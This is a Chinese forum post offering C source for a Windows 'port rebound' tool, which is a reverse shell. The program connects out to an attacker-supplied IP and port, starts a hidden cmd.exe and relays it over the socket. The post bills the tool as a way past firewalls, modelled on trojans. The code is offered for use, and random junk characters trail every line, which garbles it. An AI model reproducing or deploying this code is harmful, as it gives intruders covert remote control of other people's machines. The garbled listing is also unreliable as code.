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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *P`v^&  
_}D%iJg#  
/* ============================== =/[ltUKs:a  
Rebound port in Windows NT JjQ8|En  
By wind,2006/7 T'E ] i!$  
===============================*/ 2+z1h^)W  
#include )B6# A0  
#include 1!vPc93 $$  
R,%_deV\(  
#pragma comment(lib,"wsock32.lib") n=q=zn;  
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void OutputShell(); W Zq,()h  
SOCKET sClient; 98GlhogWt  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3?Lgtkb8  
{V}qwm?  
void main(int argc,char **argv) W;4Lkk$  
{ Ejv%,q/T(  
WSADATA stWsaData; cph~4wCS[U  
int nRet; -;$nb~y  
SOCKADDR_IN stSaiClient,stSaiServer; ;J]25j]]  
NetYg]8`  
if(argc != 3) ^=^$tF  
{ _K'7(d0z  
printf("Useage:\n\rRebound DestIP DestPort\n"); JBz}|M D  
return; 9RH"d[%yc}  
} %<ic%gt`#  
v9=}S\=Cd  
WSAStartup(MAKEWORD(2,2),&stWsaData); s.VA!@F5  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r$ =qQ7^#  
^-hErsK  
stSaiClient.sin_family = AF_INET; @D~B{Hg  
stSaiClient.sin_port = htons(0); ,9d9_c.T  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /%!~x[BeJ>  
e'34Pw!m  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \@K~L4>  
{ gw^'{b  
printf("Bind Socket Failed!\n"); V>Fesm"aq  
return; %t*  
} ~h! 13!  
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stSaiServer.sin_family = AF_INET; zzJja/mp  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vg)Z]F=t(  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :=*}htP4C  
=LI:S|[4  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) | f\D>Y%)  
{ eZH~je{1  
printf("Connect Error!"); =\Iu$2r`  
return; Pz%~ST  
} a[sKE?  
OutputShell(); 9cG<hX9`F  
} ^]>aHz9  
l'6d4 DZ  
void OutputShell() !77NG4B  
{ ^z~~VBv  
char szBuff[1024]; +6l]]*H  
SECURITY_ATTRIBUTES stSecurityAttributes; 9[VxskEh  
OSVERSIONINFO stOsversionInfo; /1d<P! H  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; uFG<UF  
STARTUPINFO stStartupInfo; gzf-)J  
char *szShell; ]]2k}A[-I  
PROCESS_INFORMATION stProcessInformation; 5dl,co{q  
unsigned long lBytesRead; QB&BTT=!  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); + BL{@,zr  
r8[T&z@_  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); w2dcH4&  
stSecurityAttributes.lpSecurityDescriptor = 0; x GH1epf  
stSecurityAttributes.bInheritHandle = TRUE; )*|(i]  
ut_pHj@  
&^!h}D%T/  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); FOH@OY  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w<NyV8-hL  
<??umkV  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .TpsJXF  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M:n6BC>t"  
stStartupInfo.wShowWindow = SW_HIDE; [&#/|zH'j:  
stStartupInfo.hStdInput = hReadPipe; =sgdkAYwP  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2'|8Q\,:4Z  
NmpnJu|8  
GetVersionEx(&stOsversionInfo); [=uIb._Wv  
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switch(stOsversionInfo.dwPlatformId) Zb_apjg[4  
{ (dqCa[  
case 1: =-#G8L%Q  
szShell = "command.com"; QR0(,e$Dl  
break; h/)_) r.x  
default: |^a;77nE_^  
szShell = "cmd.exe"; _mJG5(|  
break; o6a0'vU><  
} Udgqkl  
}^%xvmQ\]  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); QJGKQ2^ n  
|(%zb\#9  
send(sClient,szMsg,77,0); QkQ!Ep(  
while(1) :Ht; 0|[H  
{ )nfEQ)L;h}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Am"(+>W21  
if(lBytesRead) O )d[8jw"  
{ F #`=oM $5  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); nP3  E  
send(sClient,szBuff,lBytesRead,0); t;NV $!!  
} h6v077qG  
else b5a.go  
{ [ f/I2  
lBytesRead=recv(sClient,szBuff,1024,0); -c*\o3)  
if(lBytesRead<=0) break; =&nW~<- v  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,Nm$i"Lg  
} ZDt?j   
} C! 9}  
ztll}  
return; r^fe4b  
}
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